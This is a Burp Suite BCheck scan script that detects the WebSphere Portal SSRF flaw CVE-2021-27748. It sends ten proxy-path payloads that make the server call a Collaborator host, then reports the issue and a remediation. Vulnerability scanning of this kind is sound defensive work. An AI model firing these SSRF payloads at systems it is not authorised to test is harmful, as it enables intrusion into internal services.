CVE-2021-27748 SSRF Websphere Portal.bcheck

metadata:
    language: v1-beta
    name: "CVE-2021-27748 SSRF: Websphere Portal"
    description: "CVE-2021-27748"
    tags: "CVE-2021-27748"
    author: "Sourav Kalal"

run for each:
    
    potential_path =
        `/docpicker/internal_proxy/https/{generate_collaborator_address()}`,
	`/docpicker/internal_proxy/http/{generate_collaborator_address()}`,
	`/docpicker/common_proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://{generate_collaborator_address()}`,
	`/wps/proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://{generate_collaborator_address()}`,
	`/wps/myproxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://{generate_collaborator_address()}`,
	`/wps/common_proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://{generate_collaborator_address()}`,
	`/wps/cmis_proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://{generate_collaborator_address()}`,
	`/wps/contenthandler/!ut/p/digest!8skKFbWr_TwcZcvoc9Dn3g/?uri=http://www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo={generate_collaborator_address()}`,
	`/wps/PA_WCM_Authoring_UI/proxy/http/{generate_collaborator_address()}`,
	`/wps/PA_WCM_Authoring_UI/proxy/https/{generate_collaborator_address()}`

given host then
    send request called check:
        method: "GET"
        path: {potential_path}
		
    if http interactions then
        report issue:
            severity: high
            confidence: firm
            detail: "CVE-2021-27748 SSRF: Websphere Portal"
            remediation: "Modify all of the proxy-config.xml files in your Websphere Portal installation so that no origins are whitelisted."
    end if